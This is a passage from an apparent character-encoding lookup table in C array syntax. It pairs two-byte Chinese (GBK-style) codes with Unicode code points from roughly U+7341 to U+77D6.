{0x77aa,0x7341},{0x78aa,0x7342},{0x79aa,0x7343},{0x7aaa,0x7344},{0x7baa,0x7345},
{0x7caa,0x7346},{0x7daa,0x7347},{0x7eaa,0x7348},{0x80aa,0x7349},{0x81aa,0x734a},
{0x82aa,0x734b},{0x83aa,0x734c},{0xb0e2,0x734d},{0x84aa,0x734e},{0x85aa,0x734f},
{0xafe2,0x7350},{0x86aa,0x7351},{0xe1e9,0x7352},{0x87aa,0x7353},{0x88aa,0x7354},
{0x89aa,0x7355},{0x8aaa,0x7356},{0xb1e2,0x7357},{0x8baa,0x7358},{0x8caa,0x7359},
{0x8daa,0x735a},{0x8eaa,0x735b},{0x8faa,0x735c},{0x90aa,0x735d},{0x91aa,0x735e},
{0x92aa,0x735f},{0xb2e2,0x7360},{0x93aa,0x7361},{0x94aa,0x7362},{0x95aa,0x7363},
{0x96aa,0x7364},{0x97aa,0x7365},{0x98aa,0x7366},{0x99aa,0x7367},{0x9aaa,0x7368},
{0x9baa,0x7369},{0x9caa,0x736a},{0x9daa,0x736b},{0xb3e2,0x736c},{0xa1cc,0x736d},
{0x9eaa,0x736e},{0xb4e2,0x736f},{0x9faa,0x7370},{0xa0aa,0x7371},{0x40ab,0x7372},
{0x41ab,0x7373},{0x42ab,0x7374},{0x43ab,0x7375},{0x44ab,0x7376},{0x45ab,0x7377},
{0x46ab,0x7378},{0x47ab,0x7379},{0x48ab,0x737a},{0x49ab,0x737b},{0x4aab,0x737c},
{0x4bab,0x737d},{0xb5e2,0x737e},{0x4cab,0x737f},{0x4dab,0x7380},{0x4eab,0x7381},
{0x4fab,0x7382},{0x50ab,0x7383},{0xfed0,0x7384},{0x51ab,0x7385},{0x52ab,0x7386},
{0xcac2,0x7387},{0x53ab,0x7388},{0xf1d3,0x7389},{0x54ab,0x738a},{0xf5cd,0x738b},
{0x55ab,0x738c},{0x56ab,0x738d},{0xe0e7,0x738e},{0x57ab,0x738f},{0x58ab,0x7390},
{0xe1e7,0x7391},{0x59ab,0x7392},{0x5aab,0x7393},{0x5bab,0x7394},{0x5cab,0x7395},
{0xc1be,0x7396},{0x5dab,0x7397},{0x5eab,0x7398},{0x5fab,0x7399},{0x60ab,0x739a},
{0xeac2,0x739b},{0x61ab,0x739c},{0x62ab,0x739d},{0x63ab,0x739e},{0xe4e7,0x739f},
{0x64ab,0x73a0},{0x65ab,0x73a1},{0xe3e7,0x73a2},{0x66ab,0x73a3},{0x67ab,0x73a4},
{0x68ab,0x73a5},{0x69ab,0x73a6},{0x6aab,0x73a7},{0x6bab,0x73a8},{0xe6cd,0x73a9},
{0x6cab,0x73aa},{0xb5c3,0x73ab},{0x6dab,0x73ac},{0x6eab,0x73ad},{0xe2e7,0x73ae},
{0xb7bb,0x73af},{0xd6cf,0x73b0},{0x6fab,0x73b1},{0xe1c1,0x73b2},{0xe9e7,0x73b3},
{0x70ab,0x73b4},{0x71ab,0x73b5},{0x72ab,0x73b6},{0xe8e7,0x73b7},{0x73ab,0x73b8},
{0x74ab,0x73b9},{0xf4e7,0x73ba},{0xa3b2,0x73bb},{0x75ab,0x73bc},{0x76ab,0x73bd},
{0x77ab,0x73be},{0x78ab,0x73bf},{0xeae7,0x73c0},{0x79ab,0x73c1},{0xe6e7,0x73c2},
{0x7aab,0x73c3},{0x7bab,0x73c4},{0x7cab,0x73c5},{0x7dab,0x73c6},{0x7eab,0x73c7},
{0xece7,0x73c8},{0xebe7,0x73c9},{0xbac9,0x73ca},{0x80ab,0x73cb},{0x81ab,0x73cc},
{0xe4d5,0x73cd},{0x82ab,0x73ce},{0xe5e7,0x73cf},{0xa9b7,0x73d0},{0xe7e7,0x73d1},
{0x83ab,0x73d2},{0x84ab,0x73d3},{0x85ab,0x73d4},{0x86ab,0x73d5},{0x87ab,0x73d6},
{0x88ab,0x73d7},{0x89ab,0x73d8},{0xeee7,0x73d9},{0x8aab,0x73da},{0x8bab,0x73db},
{0x8cab,0x73dc},{0x8dab,0x73dd},{0xf3e7,0x73de},{0x8eab,0x73df},{0xe9d6,0x73e0},
{0x8fab,0x73e1},{0x90ab,0x73e2},{0x91ab,0x73e3},{0x92ab,0x73e4},{0xede7,0x73e5},
{0x93ab,0x73e6},{0xf2e7,0x73e7},{0x94ab,0x73e8},{0xf1e7,0x73e9},{0x95ab,0x73ea},
{0x96ab,0x73eb},{0x97ab,0x73ec},{0xe0b0,0x73ed},{0x98ab,0x73ee},{0x99ab,0x73ef},
{0x9aab,0x73f0},{0x9bab,0x73f1},{0xf5e7,0x73f2},{0x9cab,0x73f3},{0x9dab,0x73f4},
{0x9eab,0x73f5},{0x9fab,0x73f6},{0xa0ab,0x73f7},{0x40ac,0x73f8},{0x41ac,0x73f9},
{0x42ac,0x73fa},{0x43ac,0x73fb},{0x44ac,0x73fc},{0x45ac,0x73fd},{0x46ac,0x73fe},
{0x48ac,0x7400},{0x49ac,0x7401},{0x4aac,0x7402},{0xf2c7,0x7403},{0x4bac,0x7404},
{0xc5c0,0x7405},{0xedc0,0x7406},{0x4cac,0x7407},{0x4dac,0x7408},{0xf0c1,0x7409},
{0xf0e7,0x740a},{0x4eac,0x740b},{0x4fac,0x740c},{0x50ac,0x740d},{0x51ac,0x740e},
{0xf6e7,0x740f},{0xf6cb,0x7410},{0x52ac,0x7411},{0x53ac,0x7412},{0x54ac,0x7413},
{0x55ac,0x7414},{0x56ac,0x7415},{0x57ac,0x7416},{0x58ac,0x7417},{0x59ac,0x7418},
{0x5aac,0x7419},{0xa2e8,0x741a},{0xa1e8,0x741b},{0x5bac,0x741c},{0x5cac,0x741d},
{0x5dac,0x741e},{0x5eac,0x741f},{0x5fac,0x7420},{0x60ac,0x7421},{0xc1d7,0x7422},
{0x61ac,0x7423},{0x62ac,0x7424},{0xfae7,0x7425},{0xf9e7,0x7426},{0x63ac,0x7427},
{0xfbe7,0x7428},{0x64ac,0x7429},{0xf7e7,0x742a},{0x65ac,0x742b},{0xfee7,0x742c},
{0x66ac,0x742d},{0xfde7,0x742e},{0x67ac,0x742f},{0xfce7,0x7430},{0x68ac,0x7431},
{0x69ac,0x7432},{0xd5c1,0x7433},{0xd9c7,0x7434},{0xfdc5,0x7435},{0xc3c5,0x7436},
{0x6aac,0x7437},{0x6bac,0x7438},{0x6cac,0x7439},{0x6dac,0x743a},{0x6eac,0x743b},
{0xedc7,0x743c},{0x6fac,0x743d},{0x70ac,0x743e},{0x71ac,0x743f},{0x72ac,0x7440},
{0xa3e8,0x7441},{0x73ac,0x7442},{0x74ac,0x7443},{0x75ac,0x7444},{0x76ac,0x7445},
{0x77ac,0x7446},{0x78ac,0x7447},{0x79ac,0x7448},{0x7aac,0x7449},{0x7bac,0x744a},
{0x7cac,0x744b},{0x7dac,0x744c},{0x7eac,0x744d},{0x80ac,0x744e},{0x81ac,0x744f},
{0x82ac,0x7450},{0x83ac,0x7451},{0x84ac,0x7452},{0x85ac,0x7453},{0x86ac,0x7454},
{0xa6e8,0x7455},{0x87ac,0x7456},{0xa5e8,0x7457},{0x88ac,0x7458},{0xa7e8,0x7459},
{0xf7ba,0x745a},{0xf8e7,0x745b},{0xa4e8,0x745c},{0x89ac,0x745d},{0xf0c8,0x745e},
{0xaac9,0x745f},{0x8aac,0x7460},{0x8bac,0x7461},{0x8cac,0x7462},{0x8dac,0x7463},
{0x8eac,0x7464},{0x8fac,0x7465},{0x90ac,0x7466},{0x91ac,0x7467},{0x92ac,0x7468},
{0x93ac,0x7469},{0x94ac,0x746a},{0x95ac,0x746b},{0x96ac,0x746c},{0xa9e8,0x746d},
{0x97ac,0x746e},{0x98ac,0x746f},{0xe5b9,0x7470},{0x99ac,0x7471},{0x9aac,0x7472},
{0x9bac,0x7473},{0x9cac,0x7474},{0x9dac,0x7475},{0xfed1,0x7476},{0xa8e8,0x7477},
{0x9eac,0x7478},{0x9fac,0x7479},{0xa0ac,0x747a},{0x40ad,0x747b},{0x41ad,0x747c},
{0x42ad,0x747d},{0xaae8,0x747e},{0x43ad,0x747f},{0xade8,0x7480},{0xaee8,0x7481},
{0x44ad,0x7482},{0xa7c1,0x7483},{0x45ad,0x7484},{0x46ad,0x7485},{0x47ad,0x7486},
{0xafe8,0x7487},{0x48ad,0x7488},{0x49ad,0x7489},{0x4aad,0x748a},{0xb0e8,0x748b},
{0x4bad,0x748c},{0x4cad,0x748d},{0xace8,0x748e},{0x4dad,0x748f},{0xb4e8,0x7490},
{0x4ead,0x7491},{0x4fad,0x7492},{0x50ad,0x7493},{0x51ad,0x7494},{0x52ad,0x7495},
{0x53ad,0x7496},{0x54ad,0x7497},{0x55ad,0x7498},{0x56ad,0x7499},{0x57ad,0x749a},
{0x58ad,0x749b},{0xabe8,0x749c},{0x59ad,0x749d},{0xb1e8,0x749e},{0x5aad,0x749f},
{0x5bad,0x74a0},{0x5cad,0x74a1},{0x5dad,0x74a2},{0x5ead,0x74a3},{0x5fad,0x74a4},
{0x60ad,0x74a5},{0x61ad,0x74a6},{0xb5e8,0x74a7},{0xb2e8,0x74a8},{0xb3e8,0x74a9},
{0x62ad,0x74aa},{0x63ad,0x74ab},{0x64ad,0x74ac},{0x65ad,0x74ad},{0x66ad,0x74ae},
{0x67ad,0x74af},{0x68ad,0x74b0},{0x69ad,0x74b1},{0x6aad,0x74b2},{0x6bad,0x74b3},
{0x6cad,0x74b4},{0x6dad,0x74b5},{0x6ead,0x74b6},{0x6fad,0x74b7},{0x70ad,0x74b8},
{0x71ad,0x74b9},{0xb7e8,0x74ba},{0x72ad,0x74bb},{0x73ad,0x74bc},{0x74ad,0x74bd},
{0x75ad,0x74be},{0x76ad,0x74bf},{0x77ad,0x74c0},{0x78ad,0x74c1},{0x79ad,0x74c2},
{0x7aad,0x74c3},{0x7bad,0x74c4},{0x7cad,0x74c5},{0x7dad,0x74c6},{0x7ead,0x74c7},
{0x80ad,0x74c8},{0x81ad,0x74c9},{0x82ad,0x74ca},{0x83ad,0x74cb},{0x84ad,0x74cc},
{0x85ad,0x74cd},{0x86ad,0x74ce},{0x87ad,0x74cf},{0x88ad,0x74d0},{0x89ad,0x74d1},
{0xb6e8,0x74d2},{0x8aad,0x74d3},{0x8bad,0x74d4},{0x8cad,0x74d5},{0x8dad,0x74d6},
{0x8ead,0x74d7},{0x8fad,0x74d8},{0x90ad,0x74d9},{0x91ad,0x74da},{0x92ad,0x74db},
{0xcfb9,0x74dc},{0x93ad,0x74dd},{0xacf0,0x74de},{0x94ad,0x74df},{0xadf0,0x74e0},
{0x95ad,0x74e1},{0xb0c6,0x74e2},{0xeab0,0x74e3},{0xbfc8,0x74e4},{0x96ad,0x74e5},
{0xdfcd,0x74e6},{0x97ad,0x74e7},{0x98ad,0x74e8},{0x99ad,0x74e9},{0x9aad,0x74ea},
{0x9bad,0x74eb},{0x9cad,0x74ec},{0x9dad,0x74ed},{0xcdce,0x74ee},{0xb1ea,0x74ef},
{0x9ead,0x74f0},{0x9fad,0x74f1},{0xa0ad,0x74f2},{0x40ae,0x74f3},{0xb2ea,0x74f4},
{0x41ae,0x74f5},{0xbfc6,0x74f6},{0xc9b4,0x74f7},{0x42ae,0x74f8},{0x43ae,0x74f9},
{0x44ae,0x74fa},{0x45ae,0x74fb},{0x46ae,0x74fc},{0x47ae,0x74fd},{0x48ae,0x74fe},
{0x49ae,0x7500},{0x4aae,0x7501},{0x4bae,0x7502},{0x4cae,0x7503},{0xe7d5,0x7504},
{0x4dae,0x7505},{0x4eae,0x7506},{0x4fae,0x7507},{0x50ae,0x7508},{0x51ae,0x7509},
{0x52ae,0x750a},{0x53ae,0x750b},{0x54ae,0x750c},{0xf9dd,0x750d},{0x55ae,0x750e},
{0xb4ea,0x750f},{0x56ae,0x7510},{0xb5ea,0x7511},{0x57ae,0x7512},{0xb6ea,0x7513},
{0x58ae,0x7514},{0x59ae,0x7515},{0x5aae,0x7516},{0x5bae,0x7517},{0xcab8,0x7518},
{0xb0df,0x7519},{0xf5c9,0x751a},{0x5cae,0x751b},{0xf0cc,0x751c},{0x5dae,0x751d},
{0x5eae,0x751e},{0xfac9,0x751f},{0x5fae,0x7520},{0x60ae,0x7521},{0x61ae,0x7522},
{0x62ae,0x7523},{0x63ae,0x7524},{0xfbc9,0x7525},{0x64ae,0x7526},{0x65ae,0x7527},
{0xc3d3,0x7528},{0xa6cb,0x7529},{0x66ae,0x752a},{0xa6b8,0x752b},{0xaef0,0x752c},
{0xc2b1,0x752d},{0x67ae,0x752e},{0xb8e5,0x752f},{0xefcc,0x7530},{0xc9d3,0x7531},
{0xd7bc,0x7532},{0xeac9,0x7533},{0x68ae,0x7534},{0xe7b5,0x7535},{0x69ae,0x7536},
{0xd0c4,0x7537},{0xe9b5,0x7538},{0x6aae,0x7539},{0xaeee,0x753a},{0xadbb,0x753b},
{0x6bae,0x753c},{0x6cae,0x753d},{0xdee7,0x753e},{0x6dae,0x753f},{0xafee,0x7540},
{0x6eae,0x7541},{0x6fae,0x7542},{0x70ae,0x7543},{0x71ae,0x7544},{0xa9b3,0x7545},
{0x72ae,0x7546},{0x73ae,0x7547},{0xb2ee,0x7548},{0x74ae,0x7549},{0x75ae,0x754a},
{0xb1ee,0x754b},{0xe7bd,0x754c},{0x76ae,0x754d},{0xb0ee,0x754e},{0xb7ce,0x754f},
{0x77ae,0x7550},{0x78ae,0x7551},{0x79ae,0x7552},{0x7aae,0x7553},{0xcfc5,0x7554},
{0x7bae,0x7555},{0x7cae,0x7556},{0x7dae,0x7557},{0x7eae,0x7558},{0xf4c1,0x7559},
{0xcedb,0x755a},{0xb3ee,0x755b},{0xf3d0,0x755c},{0x80ae,0x755d},{0x81ae,0x755e},
{0x82ae,0x755f},{0x83ae,0x7560},{0x84ae,0x7561},{0x85ae,0x7562},{0x86ae,0x7563},
{0x87ae,0x7564},{0xd4c2,0x7565},{0xe8c6,0x7566},{0x88ae,0x7567},{0x89ae,0x7568},
{0x8aae,0x7569},{0xacb7,0x756a},{0x8bae,0x756b},{0x8cae,0x756c},{0x8dae,0x756d},
{0x8eae,0x756e},{0x8fae,0x756f},{0x90ae,0x7570},{0x91ae,0x7571},{0xb4ee,0x7572},
{0x92ae,0x7573},{0xebb3,0x7574},{0x93ae,0x7575},{0x94ae,0x7576},{0x95ae,0x7577},
{0xfbbb,0x7578},{0xb5ee,0x7579},{0x96ae,0x757a},{0x97ae,0x757b},{0x98ae,0x757c},
{0x99ae,0x757d},{0x9aae,0x757e},{0xdce7,0x757f},{0x9bae,0x7580},{0x9cae,0x7581},
{0x9dae,0x7582},{0xb6ee,0x7583},{0x9eae,0x7584},{0x9fae,0x7585},{0xaebd,0x7586},
{0xa0ae,0x7587},{0x40af,0x7588},{0x41af,0x7589},{0x42af,0x758a},{0xe2f1,0x758b},
{0x43af,0x758c},{0x44af,0x758d},{0x45af,0x758e},{0xe8ca,0x758f},{0x46af,0x7590},
{0xc9d2,0x7591},{0xdaf0,0x7592},{0x47af,0x7593},{0xdbf0,0x7594},{0x48af,0x7595},
{0xdcf0,0x7596},{0xc6c1,0x7597},{0x49af,0x7598},{0xedb8,0x7599},{0xcebe,0x759a},
{0x4aaf,0x759b},{0x4baf,0x759c},{0xdef0,0x759d},{0x4caf,0x759e},{0xb1c5,0x759f},
{0xddf0,0x75a0},{0xf1d1,0x75a1},{0x4daf,0x75a2},{0xe0f0,0x75a3},{0xccb0,0x75a4},
{0xeabd,0x75a5},{0x4eaf,0x75a6},{0x4faf,0x75a7},{0x50af,0x75a8},{0x51af,0x75a9},
{0x52af,0x75aa},{0xdfd2,0x75ab},{0xdff0,0x75ac},{0x53af,0x75ad},{0xafb4,0x75ae},
{0xe8b7,0x75af},{0xe6f0,0x75b0},{0xe5f0,0x75b1},{0xa3c6,0x75b2},{0xe1f0,0x75b3},
{0xe2f0,0x75b4},{0xc3b4,0x75b5},{0x54af,0x75b6},{0x55af,0x75b7},{0xe3f0,0x75b8},
{0xeed5,0x75b9},{0x56af,0x75ba},{0x57af,0x75bb},{0xdbcc,0x75bc},{0xd2be,0x75bd},
{0xb2bc,0x75be},{0x58af,0x75bf},{0x59af,0x75c0},{0x5aaf,0x75c1},{0xe8f0,0x75c2},
{0xe7f0,0x75c3},{0xe4f0,0x75c4},{0xa1b2,0x75c5},{0x5baf,0x75c6},{0xa2d6,0x75c7},
{0xb8d3,0x75c8},{0xb7be,0x75c9},{0xacc8,0x75ca},{0x5caf,0x75cb},{0x5daf,0x75cc},
{0xeaf0,0x75cd},{0x5eaf,0x75ce},{0x5faf,0x75cf},{0x60af,0x75d0},{0x61af,0x75d1},
{0xf7d1,0x75d2},{0x62af,0x75d3},{0xccd6,0x75d4},{0xdbba,0x75d5},{0xe9f0,0x75d6},
{0x63af,0x75d7},{0xbbb6,0x75d8},{0x64af,0x75d9},{0x65af,0x75da},{0xb4cd,0x75db},
{0x66af,0x75dc},{0x67af,0x75dd},{0xa6c6,0x75de},{0x68af,0x75df},{0x69af,0x75e0},
{0x6aaf,0x75e1},{0xa1c1,0x75e2},{0xebf0,0x75e3},{0xeef0,0x75e4},{0x6baf,0x75e5},
{0xedf0,0x75e6},{0xf0f0,0x75e7},{0xecf0,0x75e8},{0x6caf,0x75e9},{0xbebb,0x75ea},
{0xeff0,0x75eb},{0x6daf,0x75ec},{0x6eaf,0x75ed},{0x6faf,0x75ee},{0x70af,0x75ef},
{0xb5cc,0x75f0},{0xf2f0,0x75f1},{0x71af,0x75f2},{0x72af,0x75f3},{0xd5b3,0x75f4},
{0x73af,0x75f5},{0x74af,0x75f6},{0x75af,0x75f7},{0x76af,0x75f8},{0xd4b1,0x75f9},
{0x77af,0x75fa},{0x78af,0x75fb},{0xf3f0,0x75fc},{0x79af,0x75fd},{0x7aaf,0x75fe},
{0xf6f0,0x7600},{0xe1b4,0x7601},{0x7baf,0x7602},{0xf1f0,0x7603},{0x7caf,0x7604},
{0xf7f0,0x7605},{0x7daf,0x7606},{0x7eaf,0x7607},{0x80af,0x7608},{0x81af,0x7609},
{0xfaf0,0x760a},{0x82af,0x760b},{0xf8f0,0x760c},{0x83af,0x760d},{0x84af,0x760e},
{0x85af,0x760f},{0xf5f0,0x7610},{0x86af,0x7611},{0x87af,0x7612},{0x88af,0x7613},
{0x89af,0x7614},{0xfdf0,0x7615},{0x8aaf,0x7616},{0xf9f0,0x7617},{0xfcf0,0x7618},
{0xfef0,0x7619},{0x8baf,0x761a},{0xa1f1,0x761b},{0x8caf,0x761c},{0x8daf,0x761d},
{0x8eaf,0x761e},{0xc1ce,0x761f},{0xa4f1,0x7620},{0x8faf,0x7621},{0xa3f1,0x7622},
{0x90af,0x7623},{0xf6c1,0x7624},{0xfbf0,0x7625},{0xddca,0x7626},{0x91af,0x7627},
{0x92af,0x7628},{0xf1b4,0x7629},{0xf1b1,0x762a},{0xb1cc,0x762b},{0x93af,0x762c},
{0xa6f1,0x762d},{0x94af,0x762e},{0x95af,0x762f},{0xa7f1,0x7630},{0x96af,0x7631},
{0x97af,0x7632},{0xacf1,0x7633},{0xced5,0x7634},{0xa9f1,0x7635},{0x98af,0x7636},
{0x99af,0x7637},{0xb3c8,0x7638},{0x9aaf,0x7639},{0x9baf,0x763a},{0x9caf,0x763b},
{0xa2f1,0x763c},{0x9daf,0x763d},{0xabf1,0x763e},{0xa8f1,0x763f},{0xa5f1,0x7640},
{0x9eaf,0x7641},{0x9faf,0x7642},{0xaaf1,0x7643},{0xa0af,0x7644},{0x40b0,0x7645},
{0x41b0,0x7646},{0x42b0,0x7647},{0x43b0,0x7648},{0x44b0,0x7649},{0x45b0,0x764a},
{0x46b0,0x764b},{0xa9b0,0x764c},{0xadf1,0x764d},{0x47b0,0x764e},{0x48b0,0x764f},
{0x49b0,0x7650},{0x4ab0,0x7651},{0x4bb0,0x7652},{0x4cb0,0x7653},{0xaff1,0x7654},
{0x4db0,0x7655},{0xb1f1,0x7656},{0x4eb0,0x7657},{0x4fb0,0x7658},{0x50b0,0x7659},
{0x51b0,0x765a},{0x52b0,0x765b},{0xb0f1,0x765c},{0x53b0,0x765d},{0xaef1,0x765e},
{0x54b0,0x765f},{0x55b0,0x7660},{0x56b0,0x7661},{0x57b0,0x7662},{0xa2d1,0x7663},
{0x58b0,0x7664},{0x59b0,0x7665},{0x5ab0,0x7666},{0x5bb0,0x7667},{0x5cb0,0x7668},
{0x5db0,0x7669},{0x5eb0,0x766a},{0xb2f1,0x766b},{0x5fb0,0x766c},{0x60b0,0x766d},
{0x61b0,0x766e},{0xb3f1,0x766f},{0x62b0,0x7670},{0x63b0,0x7671},{0x64b0,0x7672},
{0x65b0,0x7673},{0x66b0,0x7674},{0x67b0,0x7675},{0x68b0,0x7676},{0x69b0,0x7677},
{0xefb9,0x7678},{0x6ab0,0x7679},{0x6bb0,0x767a},{0xc7b5,0x767b},{0x6cb0,0x767c},
{0xd7b0,0x767d},{0xd9b0,0x767e},{0x6db0,0x767f},{0x6eb0,0x7680},{0x6fb0,0x7681},
{0xedd4,0x7682},{0x70b0,0x7683},{0xc4b5,0x7684},{0x71b0,0x7685},{0xd4bd,0x7686},
{0xcabb,0x7687},{0xa7f0,0x7688},{0x72b0,0x7689},{0x73b0,0x768a},{0xdeb8,0x768b},
{0x74b0,0x768c},{0x75b0,0x768d},{0xa8f0,0x768e},{0x76b0,0x768f},{0x77b0,0x7690},
{0xa8b0,0x7691},{0x78b0,0x7692},{0xa9f0,0x7693},{0x79b0,0x7694},{0x7ab0,0x7695},
{0xeecd,0x7696},{0x7bb0,0x7697},{0x7cb0,0x7698},{0xaaf0,0x7699},{0x7db0,0x769a},
{0x7eb0,0x769b},{0x80b0,0x769c},{0x81b0,0x769d},{0x82b0,0x769e},{0x83b0,0x769f},
{0x84b0,0x76a0},{0x85b0,0x76a1},{0x86b0,0x76a2},{0x87b0,0x76a3},{0xabf0,0x76a4},
{0x88b0,0x76a5},{0x89b0,0x76a6},{0x8ab0,0x76a7},{0x8bb0,0x76a8},{0x8cb0,0x76a9},
{0x8db0,0x76aa},{0x8eb0,0x76ab},{0x8fb0,0x76ac},{0x90b0,0x76ad},{0xa4c6,0x76ae},
{0x91b0,0x76af},{0x92b0,0x76b0},{0xe5d6,0x76b1},{0xe4f1,0x76b2},{0x93b0,0x76b3},
{0xe5f1,0x76b4},{0x94b0,0x76b5},{0x95b0,0x76b6},{0x96b0,0x76b7},{0x97b0,0x76b8},
{0x98b0,0x76b9},{0x99b0,0x76ba},{0x9ab0,0x76bb},{0x9bb0,0x76bc},{0x9cb0,0x76bd},
{0x9db0,0x76be},{0xf3c3,0x76bf},{0x9eb0,0x76c0},{0x9fb0,0x76c1},{0xdbd3,0x76c2},
{0xa0b0,0x76c3},{0x40b1,0x76c4},{0xd1d6,0x76c5},{0xe8c5,0x76c6},{0x41b1,0x76c7},
{0xafd3,0x76c8},{0x42b1,0x76c9},{0xe6d2,0x76ca},{0x43b1,0x76cb},{0x44b1,0x76cc},
{0xc1ee,0x76cd},{0xbbb0,0x76ce},{0xb5d5,0x76cf},{0xced1,0x76d0},{0xe0bc,0x76d1},
{0xd0ba,0x76d2},{0x45b1,0x76d3},{0xf8bf,0x76d4},{0x46b1,0x76d5},{0xc7b8,0x76d6},
{0xc1b5,0x76d7},{0xccc5,0x76d8},{0x47b1,0x76d9},{0x48b1,0x76da},{0xa2ca,0x76db},
{0x49b1,0x76dc},{0x4ab1,0x76dd},{0x4bb1,0x76de},{0xcbc3,0x76df},{0x4cb1,0x76e0},
{0x4db1,0x76e1},{0x4eb1,0x76e2},{0x4fb1,0x76e3},{0x50b1,0x76e4},{0xc2ee,0x76e5},
{0x51b1,0x76e6},{0x52b1,0x76e7},{0x53b1,0x76e8},{0x54b1,0x76e9},{0x55b1,0x76ea},
{0x56b1,0x76eb},{0x57b1,0x76ec},{0x58b1,0x76ed},{0xbfc4,0x76ee},{0xa2b6,0x76ef},
{0x59b1,0x76f0},{0xeced,0x76f1},{0xa4c3,0x76f2},{0x5ab1,0x76f3},{0xb1d6,0x76f4},
{0x5bb1,0x76f5},{0x5cb1,0x76f6},{0x5db1,0x76f7},{0xe0cf,0x76f8},{0xefed,0x76f9},
{0x5eb1,0x76fa},{0x5fb1,0x76fb},{0xcec5,0x76fc},{0x60b1,0x76fd},{0xdcb6,0x76fe},
{0x62b1,0x7700},{0xa1ca,0x7701},{0x63b1,0x7702},{0x64b1,0x7703},{0xeded,0x7704},
{0x65b1,0x7705},{0x66b1,0x7706},{0xf0ed,0x7707},{0xf1ed,0x7708},{0xbcc3,0x7709},
{0x67b1,0x770a},{0xb4bf,0x770b},{0x68b1,0x770c},{0xeeed,0x770d},{0x69b1,0x770e},
{0x6ab1,0x770f},{0x6bb1,0x7710},{0x6cb1,0x7711},{0x6db1,0x7712},{0x6eb1,0x7713},
{0x6fb1,0x7714},{0x70b1,0x7715},{0x71b1,0x7716},{0x72b1,0x7717},{0x73b1,0x7718},
{0xf4ed,0x7719},{0xf2ed,0x771a},{0x74b1,0x771b},{0x75b1,0x771c},{0x76b1,0x771d},
{0x77b1,0x771e},{0xe6d5,0x771f},{0xdfc3,0x7720},{0x78b1,0x7721},{0xf3ed,0x7722},
{0x79b1,0x7723},{0x7ab1,0x7724},{0x7bb1,0x7725},{0xf6ed,0x7726},{0x7cb1,0x7727},
{0xa3d5,0x7728},{0xa3d1,0x7729},{0x7db1,0x772a},{0x7eb1,0x772b},{0x80b1,0x772c},
{0xf5ed,0x772d},{0x81b1,0x772e},{0xd0c3,0x772f},{0x82b1,0x7730},{0x83b1,0x7731},
{0x84b1,0x7732},{0x85b1,0x7733},{0x86b1,0x7734},{0xf7ed,0x7735},{0xf4bf,0x7736},
{0xecbe,0x7737},{0xf8ed,0x7738},{0x87b1,0x7739},{0xf7cc,0x773a},{0x88b1,0x773b},
{0xdbd1,0x773c},{0x89b1,0x773d},{0x8ab1,0x773e},{0x8bb1,0x773f},{0xc5d7,0x7740},
{0xf6d5,0x7741},{0x8cb1,0x7742},{0xfced,0x7743},{0x8db1,0x7744},{0x8eb1,0x7745},
{0x8fb1,0x7746},{0xfbed,0x7747},{0x90b1,0x7748},{0x91b1,0x7749},{0x92b1,0x774a},
{0x93b1,0x774b},{0x94b1,0x774c},{0x95b1,0x774d},{0x96b1,0x774e},{0x97b1,0x774f},
{0xf9ed,0x7750},{0xfaed,0x7751},{0x98b1,0x7752},{0x99b1,0x7753},{0x9ab1,0x7754},
{0x9bb1,0x7755},{0x9cb1,0x7756},{0x9db1,0x7757},{0x9eb1,0x7758},{0x9fb1,0x7759},
{0xfded,0x775a},{0xa6be,0x775b},{0xa0b1,0x775c},{0x40b2,0x775d},{0x41b2,0x775e},
{0x42b2,0x775f},{0x43b2,0x7760},{0xafcb,0x7761},{0xa1ee,0x7762},{0xbdb6,0x7763},
{0x44b2,0x7764},{0xa2ee,0x7765},{0xc0c4,0x7766},{0x45b2,0x7767},{0xfeed,0x7768},
{0x46b2,0x7769},{0x47b2,0x776a},{0xdebd,0x776b},{0xc7b2,0x776c},{0x48b2,0x776d},
{0x49b2,0x776e},{0x4ab2,0x776f},{0x4bb2,0x7770},{0x4cb2,0x7771},{0x4db2,0x7772},
{0x4eb2,0x7773},{0x4fb2,0x7774},{0x50b2,0x7775},{0x51b2,0x7776},{0x52b2,0x7777},
{0x53b2,0x7778},{0xc3b6,0x7779},{0x54b2,0x777a},{0x55b2,0x777b},{0x56b2,0x777c},
{0xa5ee,0x777d},{0xbad8,0x777e},{0xa3ee,0x777f},{0xa6ee,0x7780},{0x57b2,0x7781},
{0x58b2,0x7782},{0x59b2,0x7783},{0xe9c3,0x7784},{0xf2b3,0x7785},{0x5ab2,0x7786},
{0x5bb2,0x7787},{0x5cb2,0x7788},{0x5db2,0x7789},{0x5eb2,0x778a},{0x5fb2,0x778b},
{0xa7ee,0x778c},{0xa4ee,0x778d},{0xb9cf,0x778e},{0x60b2,0x778f},{0x61b2,0x7790},
{0xa8ee,0x7791},{0xf7c2,0x7792},{0x62b2,0x7793},{0x63b2,0x7794},{0x64b2,0x7795},
{0x65b2,0x7796},{0x66b2,0x7797},{0x67b2,0x7798},{0x68b2,0x7799},{0x69b2,0x779a},
{0x6ab2,0x779b},{0x6bb2,0x779c},{0x6cb2,0x779d},{0x6db2,0x779e},{0xa9ee,0x779f},
{0xaaee,0x77a0},{0x6eb2,0x77a1},{0xabde,0x77a2},{0x6fb2,0x77a3},{0x70b2,0x77a4},
{0xb3c6,0x77a5},{0x71b2,0x77a6},{0xc6c7,0x77a7},{0x72b2,0x77a8},{0xf5d6,0x77a9},
{0xc9b5,0x77aa},{0x73b2,0x77ab},{0xb2cb,0x77ac},{0x74b2,0x77ad},{0x75b2,0x77ae},
{0x76b2,0x77af},{0xabee,0x77b0},{0x77b2,0x77b1},{0x78b2,0x77b2},{0xabcd,0x77b3},
{0x79b2,0x77b4},{0xacee,0x77b5},{0x7ab2,0x77b6},{0x7bb2,0x77b7},{0x7cb2,0x77b8},
{0x7db2,0x77b9},{0x7eb2,0x77ba},{0xb0d5,0x77bb},{0x80b2,0x77bc},{0xadee,0x77bd},
{0x81b2,0x77be},{0xc4f6,0x77bf},{0x82b2,0x77c0},{0x83b2,0x77c1},{0x84b2,0x77c2},
{0x85b2,0x77c3},{0x86b2,0x77c4},{0x87b2,0x77c5},{0x88b2,0x77c6},{0x89b2,0x77c7},
{0x8ab2,0x77c8},{0x8bb2,0x77c9},{0x8cb2,0x77ca},{0x8db2,0x77cb},{0x8eb2,0x77cc},
{0xc7db,0x77cd},{0x8fb2,0x77ce},{0x90b2,0x77cf},{0x91b2,0x77d0},{0x92b2,0x77d1},
{0x93b2,0x77d2},{0x94b2,0x77d3},{0x95b2,0x77d4},{0x96b2,0x77d5},{0x97b2,0x77d6},
